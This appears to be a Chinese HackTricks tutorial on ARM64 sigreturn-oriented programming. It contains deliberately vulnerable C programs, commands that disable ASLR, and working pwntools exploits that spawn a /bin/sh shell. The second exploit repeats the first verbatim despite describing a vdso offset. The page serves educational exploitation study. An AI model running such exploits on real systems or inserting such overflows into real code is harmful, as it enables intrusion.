> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md).

# SROP - ARM64

<details>

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</details>

## Pwntools示例

此示例创建了一个易受攻击的二进制文件并利用它。该二进制文件**读取到堆栈**，然后调用\*\*`sigreturn`\*\*：

```python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```

## 缓冲区溢出示例

### 代码

```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
```

编译它使用：

```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR
```

## 攻击

该攻击利用缓冲区溢出漏洞返回到对 **`sigreturn`** 的调用，并准备栈以调用带有指向 `/bin/sh` 的指针的 **`execve`**。

```python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc	#0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()
```

## 没有 sigreturn 的 bof 示例

### 代码

```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
```

## 攻击

在\*\*`vdso`**部分，可以在偏移**`0x7b0`**找到对**`sigreturn`\*\*的调用：

<figure><img src="/files/nzyUv7cH756k5ohVyTuV" alt="" width="563"><figcaption></figcaption></figure>

因此，如果泄漏了，可以使用这个地址来访问`sigreturn`，如果二进制文件没有加载它的话：

```python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc	#0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()
```

有关vdso的更多信息，请查看：

{% content-ref url="/pages/j5wfYP2cd0exEHZeDmyL" %}
[Ret2vDSO](/binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
{% endcontent-ref %}

要绕过`/bin/sh`的地址，您可以创建指向它的多个环境变量，更多信息请查看：

{% content-ref url="/pages/sXInzKT3SRUNB6FxRWP4" %}
[ASLR](/binary-exploitation/common-binary-protections-and-bypasses/aslr.md)
{% endcontent-ref %}